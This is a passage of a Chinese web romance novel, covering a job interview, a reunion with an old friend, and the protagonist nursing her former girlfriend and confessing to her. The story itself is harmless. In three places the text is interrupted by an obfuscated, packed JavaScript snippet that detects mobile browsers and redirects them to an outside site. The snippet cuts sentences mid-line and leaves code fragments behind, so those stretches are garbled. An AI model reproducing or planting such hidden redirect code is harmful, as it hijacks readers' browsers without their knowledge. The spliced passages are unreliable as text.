秦离没想到小伙伴们对洛依这么不支持。不过她也知道,她们其实真正支持的是自己。如果自己最后选择了洛依,她们自然也有另外一套说法。 “好了,我也不能再这样慢慢悠悠了,事业和爱情都要冲冲冲!” 现在,秦离没有了任何后顾之忧,可以拼尽全力去争取想要东西了。 有了在花城的前车之兆,秦离没有停止向放出招聘的其它公司投简历。虽然会优先考虑梦城,但如果其它城市有合适的,她也不会放弃。 实在实在不行,她只有厚着脸皮回去找楚老师了。 目前来看,无实际相关工作经验的社会人士要找到入行的机会还是太难了。短短几个月,她都不知道被拒绝了多少次,更不用说那些石沉大海的。 哎,找想做的工作,难呐。 在秦离时而亢奋时而焦虑的不稳定情绪中,十二月下旬,和梦城出版社老师约定好的时间终于到了。 秦离这次做了更多准备,对网上能查到的这一年这家出版社的所有产品和项目进行了调研,设想了如果自己来负责的话会怎么做,甚至还模拟了些问答场景。 尽人事,听天命吧。 到梦城的这天,天气难得不错,阳光落在身上有暖暖的温度。 多年未回来了,看到熟悉的机场,秦离回想起十多年前稚嫩的自己在妈爸的陪伴下踏上这片繁华的土地,真正开启了自己的独立人生。 时间过得真快啊。 顺着梦城老师给的指引图,秦离很顺利地找到了出版社,在偏东边的写字楼群,上班族密集,一看就是打工人专区。 秦离深吸一口气,已经开始紧张了。 148. Chapter 148 出版社内不出意料,也是一片兵荒马乱,看得秦离都有心理阴影了。 对接的老师是个比她还年轻的小姑娘,找到她后小声解释:“不好意思,最近有个要趁着圣诞节推出的大ip,大家准备了好几个月,成败在此一举,都很紧张呢。” 啊,对哦,明天就是圣诞节了。 秦离看见左边有两个人一开始争得面红耳赤,对着电脑说着说着,又突然相视而笑。 这家公司的氛围感觉很好,至少所有人看起来都是朝着同一个目标进发的。 到会议室后,秦离惊讶地发现主面试官就是刚才来接她的这个绿色头发的小姑娘,另外还有两位老师在,年龄要更大些。 看出她的诧异,绿发小姑娘俏皮地笑着:“可不要小看我,今年好几个热门IP都是我独立负责的。” “抱歉。”秦离急忙道歉,暗道自己不应该以貌取人。 进入面试环节,小姑娘也收起了温和的表情,气势隐隐有些迫人。 她连番问了很多问题,果不其然提及了许多公司正在或已经完成的项目。还好秦离准备充分,虽然有些回答可能比较稚嫩,但都有自己的想法。 到最后,从对方的表情,秦离也能感觉到她对自己的回答是有赞同的地方的。而且问得越细致和复杂,说明对方对自己越有期待,秦离喜闻乐见。 整个面试进行了半个多小时,结束后,小姑娘才又恢复了之前那副亲和的面孔。 “好了,今天的面试就到这里。之后还请等待我们的通知,最迟不会超过一周的。” “好的,多谢了。” 与花城老师相似的结束语,秦离的心里却踏实很多。她有种感觉,这次的机会很大。但对方并没有要下决定的意思,她也只能继续等待。 小姑娘笑着将她送到门外,转身又进去忙忙碌碌。 最急迫的事已经做完了,秦离站在街边,看着人来人往。所有人都来去匆匆,忙着看手机打电话。梦城冬日的冷风依旧是那么刺骨,顺着袖口和衣领钻进去,冻得人直跺脚。 秦离一时竟不知该去哪里。 【你这会在干什么呀?】 距离秦离给黎羽发消息已经过去一个小时了,对方没有回。秦离也摸不准她是没看到,还是不想跟自己闲聊。 哎…… 翻着联系人列表,思考着哪些人在梦城,这时秦离突然看到了李清韵的名字。 清韵啊…… 大学毕业后,刚开始几年她们还保持着联系。后来李清韵出国读了两年书,回来后在母亲的公司上班,两人的交流越来越少。倒不是她们不想聊天,是彼此都太忙,总是对不上时间,这点倒是和大学时候挺像的。 所以经常是秦离发一条消息后,李清韵隔了几天回复,过几天秦离再发过去,两个人搞得跟飞鸽传书一样,全是等了。 但关系一直没生疏。 这次临时联系,秦离心里也没底,反正先喊了:【呼叫!呼叫!我已抵达梦城,在否!空否!约否!】 李清韵今天大概难得空闲,居然第一时间就回了:【答复!答复!空!十分空!非常空!约!时间!地点!】 两人一拍即合。 李清韵的脚骨折了,这也是她这两天难得空闲的原因。约饭地点放在了李清韵家附近,她是拄着拐杖来和秦离见面的。 真是让人感动啊。 她人刚到,嘴上就说个不停:“你总算是舍得到梦城了啊,十年不回来一次。十年啊!我们都整整十年没见面了!” “嘿嘿,这不是,各种原因嘛,所以现在我来了呀。而且,说不定之后我都要一直在这边了。” “真的假的?那也太好了!不过我记得你不是在体制内吗?” 李清韵的消息已经落后了好几个版本,秦离便将最近发生的种种事情都告诉她了,听得她目瞪口呆。 “果然,要说人生的丰富程度,还得是你啊。居然还能跟黎羽再续前缘,你也是牛的!不过哎,当初你们分开确实很可惜,我们都觉得你俩挺配的。” 秦离不敢把话说得太满:“之前是我的问题,太摇摆不定。现在我是坚定了,阿羽会不会接受我还不一定呢。” 李清韵反而比她更有信心:“你也太小瞧自己的魅力了。当年虽然是你主动追的她,但我看她挺喜欢你的。” “真的?” “真的。” 其实秦离也厚脸皮地觉得,黎羽对自己的感情肯定不可能这么快消散。只是毕竟是自己做错了事,只要能挽回她,时间什么的都不是问题。 她可是永远会主动出击,下定决心的话怎么都要做到的秦离啊! 和李清韵聊天永远是最欢乐的。两人从过去说到现在,秦离才发现,当年和黎羽在一起的那段时间,在旁人眼里,黎羽对自己的关注和特殊待遇那么多,那么明显。 “不过你呀,也该沉稳点了,某段时间对什么人或事上头后,就对其它一切都不管不顾了,很容易让人产生自己被忽视抛弃的错觉哦。” 特别是秦离作为E人,习惯于接触大量的人和事,把精力和注意力全部分散开,想着兼顾所有关系,最后反而忽视了最重要的人。倒是新认识的、不熟悉的,能获得她的最多关注。 一种新鲜感。 “我现在已经不这样啦!” 秦离也有认真反思自己。经历了两段失败的恋情,人生的路已经越走越远,也越走越少了,剩下的有限时光里,她愈发珍视身边最亲近的人。 李清韵也在感慨:“时间过得真快啊。以前我们还说三十岁的时候要一起开家动画公司,现在想想真是大言不惭。别人的三十岁,事业有成,我们的三十岁,平庸普通,哈哈~” 梦城接触到的圈层总是更多样、也更高些,李清韵难免一直焦虑。 这下轮到秦离开导她了:“但三十年,我们也多了很多人生体验,做了很多事呀。活着就是胜利,只要基本生存能保障,其它所有事都是人生财富加成。” 李清韵不太想得开。她所在的群体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370278|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接触到有权有势之人的频率太高了。秦离也是现在才发现,两人的许多观念大相径庭,但这并不影响两人的友谊。 每个人都有自己的路要走。 分开时,两人依依不舍告别。李清韵之后要去母亲的分公司管理,下次见面还不知道是什么时候。 青山不改,绿水长流,希望大家都能好好的。 李清韵也祝福她:“提前预祝圣诞快乐,希望你能爱情事业双丰收!” “好。” 在商场热闹的圣诞音乐和转动的彩色灯光中,两人分别,继续自己的人生。 这时已经晚上九点,过去六个小时了,秦离仍然没有收到黎羽的回复。 如果是之前,秦离可能怀疑是黎羽不想理自己。但或许是刚才和李清韵的聊天给了她信心,她鼓起勇气给黎羽拨去电话。 电话是通的,响了很多声后,没人接。 秦离连打了好几个,都没有反应。 思前想后,秦离还是再发了条消息过去:【是在忙吗?我有很紧急的事找你,看到给我回个电话吧。】 这之后又过去了半小时,对面还是没有回应。 秦离有些担心了。她知道黎羽的性格,自己都这样讲了,就算她再不想理会,至少也会回个消息。 黎羽总是独来独往的,不会真的出什么事了吧…… 越想越焦虑,秦离顾不了那么多了,给陈玲嘉打电话:“学姐,你知道黎羽家在哪里吗?” “怎么突然问这个,你去梦城了?” “嗯,我已经做好决定,也和洛依彻底断开联系,现在只有黎羽。但她今天一天都没回我消息,刚刚打了三四个电话都没接,我担心是不是出事了。” “啊,我试试。” 陈玲嘉打电话过去,同样没打通,这下两人真的紧张了。 但陈玲嘉不在梦城,也不知道黎羽住在哪里。秦离无法,通过小智找了李凌菲,又让许平平去问了橘色的老板大头,大家都没联系上,也不知道她家地址。 最后,还是大头在某个登记簿上找到了黎羽留下的地址,但只有小区名,没有具体门牌号。 大晚上的,这么折腾所有人,秦离已经很不好意思了。她向大头反复道谢后,直接打车去了那个小区。 小区是刚修几年的新盘,安保都比较正规。这个点物业已经下班了,秦离只能死马当活马医,去问门口的保安大姐。 得益于黎羽的亮眼外表,大姐倒是对她印象深刻,但不肯轻易透露业主信息。秦离费尽口舌,又拿出许多照片和聊天记录佐证,终于让她相信自己和黎羽是认识的了,告知了具体房号。 不过她好像误会了什么,在秦离离开前,语重心长对她说:“谈朋友都是一样的嘞,有什么好好沟通,不要吵架啦。” “谢谢!好的!”秦离毫不犹豫地认领了恋人身份。 一路奔到黎羽家门口,秦离的心脏在胸腔里砰砰直跳。 她感觉身体有些发软,深吸口气,按响了门铃。 149. Chapter 149 这时已经十点半了。 一开始,秦离只按了两三下,见没有动静后,忍不住多按了几下,最后开始大力敲门,喊着黎羽的名字。 顾及着周围邻居,她不敢喊得太大声,但确保里面有人的话,一定能听见。 就这样连敲带喊了十来分钟,门内依旧没有反应。 看来黎羽是不在家了。她到底去哪里了,难道是回柳城了?怎么谁的电话都不接啊…… 秦离担心得不行,甚至都开始考虑报警了。 就在她放下手,转身准备离开的时候,房门突然开了。 “谁……” 是黎羽的声音,但有气无力,轻飘飘的几乎听不清。 秦离惊喜回头:“黎羽,你终于——” 话在看见黎羽模样的瞬间戛然而止。 黎羽穿着浅蓝色的家居服,头发凌乱,脸色和嘴唇煞白,一只手捂着肚子,整个人摇摇欲坠。 “……小乖?”黎羽的眼神迷离,没有聚焦在秦离脸上,“你怎么又来了……” “又?” 秦离还没反应过来怎么回事,看见黎羽突然往前栽。 “阿羽!” 秦离吓一跳,连忙揽住她,抱了个满怀,熟悉的草木味霸道地包裹了她整个身体,所有感官。 “阿羽……醒醒……” 黎羽闭着眼,神智不清。 触碰到她的肌肤时,秦离才意识到她在发热。 她抱着黎羽,艰难地挪到沙发上,又手忙脚乱着叫救护车。 黎羽的眉头皱得厉害,连银灰色的发都比平时显得暗淡,看得秦离心疼不已。 救护车来的很快,将黎羽抬上担架,秦离跟着一并去了。 在医院接受急诊时,医生倒是很淡定:“是急性肠胃炎,应该有几天了,有些脱水,先输个液吧。” 秦离在护士的帮助下将人安顿好,又跑去缴费拿药,一阵兵荒马乱,再回到黎羽病床边时,已经凌晨一点多了。 秦离头发变得乱糟糟的,风尘仆仆,脸色发黄,喘着气,看着也没比黎羽好太多。 黎羽还在睡。 秦离坐在床边,看着她分明的下颚、微薄的嘴唇和仍皱着的眉头,即使是病容也依旧这么有吸引力。 “你啊……”秦离感叹着,食指点在她的眉心,“搞成这个样子,让人担心。” 黎羽的嘴唇翕动,抓住了秦离的手腕。 秦离不舍得抽出来,就着这样的姿势坐下,单手别扭着打字,给所有人报平安。大家都很担心,收到秦离的消息后,才放心去睡觉。 想到有这么多人也关心在意着黎羽,秦离真切地感到开心。 至少,她不是真的孤独一人。 秦离就这么靠在床头歇着。她定了个半夜的震动闹钟,叫护士来换点滴。 天亮的时候,黎羽睫毛颤动,先于秦离醒来了。睁开眼,她就感觉手上抓着什么东西,转头看见了还倚在床边,脑袋小鸡啄米般一点一点的秦离。 她的手腕被自己紧紧握着。 金色的阳光透过玻璃窗落在她的脸上,连上面的细小绒毛都照得一清二楚。 秦离睡得很不安稳。 黎羽轻轻放开她的手,才刚往旁边挪了一点,秦离就被吵醒了。 看黎羽醒来,气色比昨天好些了,秦离露出灿烂的笑容:“你醒啦,感觉好点没?” 她的笑容比阳光还明媚。 黎羽晃了晃神,等理智回笼,已经摆不出冷淡的神情,只能干巴巴道:“好多了,谢谢你。” “阿羽,你不要跟我这么客气嘛。”秦离今天笑得格外多。一夜的折腾让她眼下的乌青尤为明显,但她看向黎羽,眼里依旧有光。 黎羽诧异于她的态度如此亲密直接,却又说不出泼冷水的话,只能盯着她衣服上的纹路,继续干巴巴地说话:“你怎么找到我家的?” 秦离便把昨天发生的种种都讲了。 她十分庆幸昨天坚持打了电话。 “还好我找过来了!不然你一个人在家里,彻底晕倒了怎么办?之前还说我呢,你也不好好照顾自己,生病了怎么不及时看医生吃药呢。” 黎羽理亏:“一开始只是没有食欲,恶心想吐,之前也有过类似症状,都是吃点药歇一歇就好了,所以就……” 秦离超凶地瞪着她,黎羽只能乖乖举手投降:“我知道了,以后一定注意。” 点滴打完,医生开了药,说可以离开了。秦离陪着黎羽一起回家。 回家的路上,黎羽买了双拖鞋,道:“我家没来过人,没有额外的东西。” 几年前,黎羽买了这个房子,简单硬装,随便买了点现成家具后就住进来了,从来没有其她人来过。这是个两室两厅的小房子,只有一个摆了床的卧室,为数不多的杂物放在了另一个房间,房间之外东西都很少,也没什么装饰物。 到家后,黎羽摊在沙发上歇着,突然想起来,又从沙发缝最底下把手机翻出来。 秦离这下知道昨晚电话怎么老打不通了。 倒了两杯热水后,秦离坐在黎羽身边,挨得很近。 黎羽闭着眼睛,将头仰着,呼吸的声音很明显,依旧很疲累的样子。 秦离昨晚没怎么睡好,也学她那样仰着,头靠在沙发靠背上,还挺舒服,困意来袭。 秦离的眼睛慢慢闭上了,头轻轻向右滑着,最后落在了黎羽的肩上。 黎羽的呼吸一顿,睁开眼睛,看向秦离乖巧的睡颜。她揉了揉太阳穴,无声叹了口气,妥协着微微将左肩放低,让秦离靠得更舒服。 她打开空调,又从边上扯来珊瑚被,轻轻盖在两人身上。感受到温暖,秦离动了动,又向黎羽这边靠了靠,发出小小的声音,身体蜷得更紧了。 秦离控制不住地笑了,将她背后的被子掖了掖,才又闭上眼睛。 寂静的房间里,只有空调主机的嗡嗡声。 黎羽慢慢也睡着了。她的头向左歪着,轻轻靠在秦离的头上。 金黄色的阳光洒在木地板上,带着被分割后的斑驳痕迹, 一室静谧。 在熟悉又放松的草木味里,秦离这一觉睡得格外安稳。 不知过了多久,熟悉的手机铃声响起,虽然很快被按掉,秦离还是被吵醒了。 她不情不愿睁开眼,看见黎羽保持左肩不动,刚从她手上取下手机。 “醒了?” 或许是刚睡醒的原因,黎羽的声音比平时更低沉有磁性。 “唔……”秦离小声呻/吟着,撒娇般脑袋在黎羽的肩窝处蹭来蹭去,“几点了呀?” 声音比平时更嗲更软。 “……下午两点。” 黎羽的声音比之前更哑了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370279|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “也没过去很久嘛。”秦离换了个姿势,靠在黎羽身上,又从她手上接过手机,看是谁打的电话。 肌肤的接触,不同的体温让柔软的感觉愈发明显。 “喂,老妈,我还在梦城。” “嗯,面试结束咯,不过有事还要呆两天,晚点才回来。” “哎呀,都过切那么久咯,没得事,现在点儿反应都没得咯。” “晓得咯,晓得咯,放心嘛,等我确定回切时间咯跟你们说。” 快速挂断电话,秦离向黎羽解释:“是我妈。前阵子我不是处出车祸嘛,她有点担心。” 离得很近,刚刚黎羽将两边说的话听得一清二楚。她点点头:“你身体感觉怎么样,有没有按时去复查,还恶心难受吗?” 秦离摇头,做着俏皮的手势:“我现在已经满血复活啦!” “那这次来梦城是为了面试?” 说话间,她动了动,察觉左肩和手臂麻了,僵硬着没再动。 秦离敏锐注意到她想要掩饰的事,连忙讨好着给她捏了捏,但不舍得说出不用让她靠这种话。 “来面试只是一方面,我来,还有想见你。” 黎羽抿着嘴,表情阴晴不定,看不出情绪。 秦离当然不认为自己随便几句话,黎羽就该笑着迎接自己。事实上,她现在已经看得出黎羽对自己的纵容退让,总是不够狠心冷酷。 而且她还在想着自己。 哎,阿羽啊…… “其实,不久前我刚去花城见了洛依。” 刚说完这句话,黎羽侧了下身子站起来要走,明显不想听这个话题。 秦离连忙将她拉了回来,一口气不带喘地把后面的话说完:“我见她是作最后的告别说我有爱的人了不会跟她联系然后把跟她有关的东西全部扔进海里了。” 黎羽愣在原地,回身从高处低着头看她:“你说是真的?” 秦离连连点头:“真的是真的!你看,我手机都重新买了。你先坐下,坐下我们慢慢说嘛。” 黎羽顺着秦离拉她的力道又坐了回来,虽然没吭声,但脸色比刚才好了很多。 秦离这才来得及将所有事慢慢说完。最后她望着黎羽的眼睛,眼底没有遮掩和隐瞒,只有一片纯粹的爱意,直白道:“我已经收拾好自己的心,不再犹豫彷徨,带着百分百的爱意来见你,只想和你在一起。” “我爱你,想和你一起度过以后每一个春夏秋冬,每一个阳光明媚和阴雨绵绵的日子,从日出到日落。我们或许仍会有摩擦,有争吵,甚至冷战,但这不会改变我爱你的事实。我们还有很多很多时间,去创造许多新的记忆。” “只要有你在我的生命里,我的心脏都会比过去更加有力地跳动,我的感官和情绪都会变得更加敏锐,为了感受和珍惜有你在的这个世界。” “即使像你说的,我们不能保证一定能一起走到生命的尽头,但每多在一起哪怕一秒,我都会为这一秒感到庆幸和喜悦。” “所以,大度宽容的阿羽大人,能不能原谅我未曾下定决心前的踟蹰不前,接受我的恋人请求呢?” 黎羽抿着嘴,迟迟没有说话。在秦离越来越焦灼的视线里,她的目光落在两人肌肤相触的部位,半天才道:“……看你表现。” “好,那我要加油了。” 秦离笑着,扑进了她怀里。 150. Chapter 150 “Jinglebells,jinglebells Jinglealltheway” 天色已晚,秦离哼着欢乐的圣诞歌,在厨房里切苹果,旁边灶上的高压锅正冒着烟。 白天的时候,黎羽“大度”地接受了秦离的追求申请,说要看她表现。一切都跟十年前那么相似,好像时光从未流逝,只是这次黎羽眼里的冷淡疏离如此浮于表面。 秦离已经看穿了她的嘴硬心软,知道她终究不舍得将自己拒之门外,口头上的答应只是时间问题。 这让她欢欣雀跃,心口发热。 她的阿羽啊…… 黎羽身体还很虚弱,秦离便让她吃了药,去床上休息,说晚上由自己来准备晚餐。 黎羽不想太折腾她,说出去吃或者点外卖。 秦离强烈反对:“不行!你还生着病呢,要多休息,外卖也不好,得吃点清淡健康的。而且,我是你的追求者哦,自然要找机会多做点事挣表现呀。” 最后一句话一出,黎羽没得说了,乖乖去床上躺着。 追求者这个身份还真好用。 秦离笑嘻嘻的。因为有黎羽的纵容,一点没有十年前明恋追逐的痛苦不安。 她厨艺一般,但跟着视频,煮个南瓜粥,做个蛋羹,蒸个苹果,再烤个面包自然没什么难度。 最后,她用生菜搭了个简易版圣诞树,又在顶端放了个红彤彤的小番茄。 节日氛围不能少。 将四菜一粥都摆好,秦离才将黎羽叫起来。 “当当当当——” 秦离摇着手掌,期待地望向黎羽:“不错吧?” 黎羽无法拒绝她的眼神,只是矜持地点点头。 两人面对面坐着,暖黄色的灯光打下一片温柔的光圈,将世界隔绝在外。 黎羽披了件浅蓝色的厚外套,银灰色的发顺着脸颊垂下,让她的轮廓愈加柔和。 “圣诞快乐!虽然晚了一天,但吃了苹果,以后都要平平安安的,不要再生病了。” 秦离将圣诞树的笑脸对着黎羽,又将唯一一小碗蒸苹果放在她面前。 “圣诞快乐。你也是,平平安安。” 黎羽将一半苹果分给她。 两人都好好的。 冬天的梦城温度很低。城市的霓虹灯里,天空飘下了雨夹雪,混合着无数的钢筋混泥土建筑,看着格外冰冷。 室内很温暖。 到睡觉时间了,秦离眼巴巴看着黎羽又拿了套被褥出来,口是心非:“哎呀,其实我睡沙发也可以的。” 黎羽家摆的是张沙发床,摊开也可以睡。 黎羽刚将被子抖开,闻言挑眉,脸上掠过一丝兴味:“你确定?” “……”秦离老老实实过去帮忙抖被子,“不确定。” 黎羽笑得不行。 秦离又恼又羞,只能委屈巴巴地瞪着她。 “好啦,快睡吧。”黎羽摸摸她的头,语气宠溺。 躺下后,秦离如之前那样侧身盯着,还没看多久,黎羽突然说话:“今天我可没有精力陪你聊天。” “知道啦,你睡你的,不管我。” 秦离边说着,边自以为不着痕迹地朝黎羽那边挪去。 两床被子可不是她想要的。至少,至少也要离近点嘛。 这时候,她又好像曾经那个一往无前,憨憨的秦离了。 那点小动静在黎羽听着一清二楚。 她无声叹了口气,突然伸手将秦离拉了过来。 “诶?!” 秦离还在暗戳戳进行自己的贴贴计划,猝不及防被她拉进了被窝。她的体温偏高,秦离立刻抱了上去,发出满足的叹息。 黎羽拉过另一床空着的被子,盖在两人身上。 “这样可以了吧?” 她语气无奈,身体却调整着让秦离可以更舒服地靠在她怀里。 “嘻嘻……”秦离发现叠加起来的被子厚度刚好,傻笑着,“好啦,睡觉睡觉。” 她注意着不压到黎羽,贴着她的心口,听着她胸腔里跳动的声音,幸福地闭上眼。 两个人的体温逐渐变得一致,连呼吸都同频。 第二天,在窗边鸟儿婉转清脆的声音里,秦离先睁开眼。 她将自己整个闷进被子里,缩在黎羽怀里,头抵在她的胸口。她感觉到黎羽薄薄的睡衣之下,似乎有颗很小的圆圆的东西。 她正伸手想要摸摸那是什么,被子突然被掀开,黎羽看着她,似笑非笑。 秦离收回手,不问自答:“我可什么都没做!” 黎羽眼神戏谑:“我可什么都没说。” 这一打岔,秦离也忘记去想那东西到底是什么了。 因为生病,黎羽这几天都不打算去公司。她问秦离有什么安排,秦离毫不犹豫道:“当然是和你在一起呀,我可要时时刻刻表现自己!” 元旦跨年要和家里人一起,那之前她肯定得回去,算算也没几天了。不赶紧这几天趁热打铁,等她回去,黎羽想法又变了可怎么办。 黎羽道:“但我最近的身体可能没法陪你出去活动了。” “什么呀,”秦离气鼓鼓的,“当然是你的身体最重要呀,我又不是那种只顾及自己的人。只要能你呆在一起,就是天天睡觉,坐在沙发上发呆,我都是开心的。” 大概是她的表情太可爱了,黎羽笑着,忍不住捏了捏她的脸:“知道了。” 两人都心生欢喜。 话是这么说,黎羽还是跟着秦离出门了,一起到家附近的菜市场买菜。 秦离想让黎羽吃得健康些。 “你现在肠胃还很弱呢,我们买点挂面中午吃,晚上熬南瓜粥,对了可以买几个香蕉,这个比较软,你现在也好消化。” 秦离昨晚就做好功课了,对黎羽接下来一周应该吃什么都烂熟于心。 黎羽喜欢看她碎碎念着的样子,认真得很可爱。 秦离货比三家,每样菜都仔细挑选,想要买到最好的。 路过水货区时,黎羽道:“买条鱼吧。” “嗯?”秦离条件反射,“你现在还不能吃鱼,最好是再过两天。” 黎羽已经走到摊位面前了,摇摇头:“不是我,是你吃。你不用也跟着我吃得清汤寡水。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370280|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没关系的。” “不行,要买。”黎羽很强势。她很快挑好,已经让老板来称重了。付好钱后,她才又道:“麻辣、红烧还是清蒸?如果有人不会做的话,可以我来哦。” “我当然会做!我都会!”秦离可不服输。 午餐想得简单,不知不觉还是买了两大口袋。 路上,秦离说黎羽是病人,坚持不让她提重物,还说什么一边提一个平衡着反而好提的独家道理。 黎羽拗不过她,只能帮她背包。可爱的月牙单肩包跟黎羽一身冷淡的打扮格格不入,她也不在意。 “好了,开工!” 到家后放下口袋,秦离穿上刚在菜市场买的有可爱兔子图案的围裙,将长发拿鲨鱼夹夹起来,斗志满满。 黎羽给她打下手。 秦离在家跟老爸也学过几手,切菜开火撒料拿勺都还算熟练。她念着黎羽的身体,最后还是选择做了清蒸鱼,这样黎羽馋了还能尝两口。 说是让黎羽帮忙,但她没能插手太多。秦离风风火火,把一切都安排得好好的,最多就是…… “阿羽,袖子,袖子要掉啦!” 这时,黎羽便细致地将她的衣袖一点点挽到手肘以上,然后箍紧,随后又温柔地将她落在脸颊上的几缕头发别到耳后。 这样的事秦离自己也可以做,但两人都没提,乐在其中。 菜全部上桌,等着秦离脱下围裙,坐在对面后,黎羽才拿起筷子:“吃吧。” “开吃!” 秦离的手艺其实只能算普普通通,但或许是对面坐着的人过于秀色可餐,两人都吃了很多。吃饭的时候,她们并没有说很多话,房间里安安静静的,但秦离并不觉得压抑难受。 她知道,自己每一次开口,黎羽都会认真听着并且回应她的。 吃完饭后,秦离并不太想动弹。 洗碗是她最讨厌的家务事,没有之一。但她也不想让黎羽来收拾,就这么磨蹭拖着。 黎羽敏锐看出她的想法,提议两个人一起去洗。 “早点做完,我们可以早点坐沙发上休息看电影哦。” 语气跟哄小孩一样。 就这么被黎羽哄着,又被她用柔和的目光看着,秦离突然觉得洗碗也不是那么难以让人接受的事了。 今天的梦城,外面依旧是天色暗淡,冷风阵阵,有点像南城的天,但这并不影响秦离的好心情。 沙发上,和黎羽一起缩在温暖的被子里,秦离掌握着遥控器,正翻着有什么好看电影时,突然看到下午居然有喜欢的电竞赛事的年底全明星表演赛。 因为工作生活忙忙碌碌,秦离已经很久没关注了,连这都忘了。 “啊——想看,我想看这个~” 被秦离小狗般可爱又期待的眼神望着,黎羽除了答应也没有其它回答了。 看到太多喜欢选手的互动和搞笑表现,秦离情绪亢奋,嘴上说个不停,一直在给黎羽解释。 黎羽很想表现得更感兴趣些,但她对这些实在是不感冒,听着听着就有些犯困了。 秦离下一个转头,便看见她眼睛微闭着,脸上带着睡意。 151. Chapter 151 “啊,”秦离懊恼。她又沉浸在喜欢的事情里,忽视身边人了。明明前不久李清韵还提醒过,她又兴奋忘形了。 她点了暂停:“阿羽,要不我们换部电影看吧,或者太困的话,要不去床上睡?” 声音一停,黎羽反而是清醒了:“怎么不看了?” “抱歉,我应该选个你也感兴趣的事的,我……”秦离咬着嘴唇,不安着。 黎羽揉揉她的头,打断她的不安:“又在胡思乱想些什么呢。你喜欢什么就做什么,我要是想做其它事自然会去做。不用那么紧张,放松着来。” “我是对这个兴趣没那么大,但也没什么想做的事,就这么听着声音睡觉也挺舒服的,去床上可能反而睡不着,只要你不介意我没认真跟你一起看比赛就行。” “当然不会!” 秦离在意的只是黎羽会不会觉得无聊,觉得在忍耐着陪她做什么。 比赛继续,不久后黎羽眼睛又闭上了。 一开始,秦离心中惶惶,但看着黎羽头慢慢歪着,搭在自己肩上,眉目舒展,突然就明白她刚才说的意思了。 她们要长久地相处下去,不能总是紧绷着心里那根弦,得让生活变成常态,平时做什么便也做什么。感兴趣或者愿意了,便多加入对方在进行的事,不想了也可以干自己的。 只要,她们依旧在对方的生活里,不需要二十四小时都念着对方,黏着对方,让对方的目光一直落在自己身上。 想明白这些,秦离的身体也慢慢放松了。 余光瞥见黎羽舒展的睡颜,用目光描绘着她俊美的轮廓和五官,秦离心中涌起无限柔情。 她慢慢放低右肩,让黎羽能枕得更舒服,又将比赛声音调小了些,放心地投入到观看的快乐中,享受这美好时光。 后面几天,生活节奏依旧放得很慢。两人没有刻意安排,想到什么便做什么。 有时候,她们会一起逛超市,选着家里需要的东西,或者买个拼图,几乎不怎么对话着拼了整个下午。 黎羽也有远程处理工作的时候。她坐在窗边电话不断,一直在电脑上敲敲打打。 那些复杂的数据秦离看不懂,也无意打探商业秘密。这时候她往往挂着耳机打游戏或是追番,在无声中笑得人仰马翻,某个瞬间目光又很自然地和黎羽的目光在空气中交汇。 两人用眼神传达着情绪,又在下一刻继续投入自己的事。 一切都很平常,也很美好,比秦离想象中的同居生活还要美好。 要说唯一不满意的,大概就是她们始终没有更多发展。 那天的告白之后,黎羽的态度便一直是亲昵而纵容的。秦离也暗戳戳地给出些更近一步的暗示,她没接招,但也没拒绝。 两人间最亲密的只有牵手和拥抱。 有黎羽足够的关注和优待在,秦离还不至于惶恐不安,但…… 好吧,每天都和黎羽相拥而眠,感受着对方炙热的体温,秦离承认,她就是馋了! 她想吃肉!想要和黎羽有更加深入的接触! 但直到离开的最后一天,依旧没什么进展,黎羽也没给出什么直白的承诺。 好吧…… 理智知道也只过去了几天而已,秦离心中依旧闷闷不乐。 黎羽开车送秦离去机场的路上,她就一直用这种小幽怨的眼神悄悄瞄着黎羽。 黎羽假装没看见,专心开车。 直到两人到了安检口,不得不分开的时候,秦离终于开口,委屈巴巴的:“我要走了哦。” “好。”黎羽脸色已经好多了,云淡风轻的,看上去没有一点不舍。 “我真的要走了哦,”秦离望着她,水润的双眼眨动着,看着更委屈了,“下次见面是什么时候啊……” 黎羽终于忍不住笑出声来,打破一脸淡定的假象。 “有人看着这么可怜哦,”她拉着秦离的手臂,将她揽在怀里,怜爱地亲了亲她的额头,“放心吧,我很快会再去南城的。” 秦离眼睛亮了:“真的?!” “真的。” 黎羽从不食言。 秦离脸上一下子放晴。 “那你要快点来找我。你要一直不来,我就,我就……” “我就再到你家来堵你了!” 她突然仰头凑近,想突袭黎羽的嘴唇,但匆忙间没对准,只触碰到了她的唇角。 两人眼中皆闪过遗憾的神色。 秦离还想再来一次,这时广播响了,催促时间临近的旅客抓紧时间登机。 “好了,快去吧,来日方长。” 秦离无法,只能松开她,拉着箱子依依不舍地离开。 但来日方长,她喜欢这个词。 “你一定要快点来!” “好。” 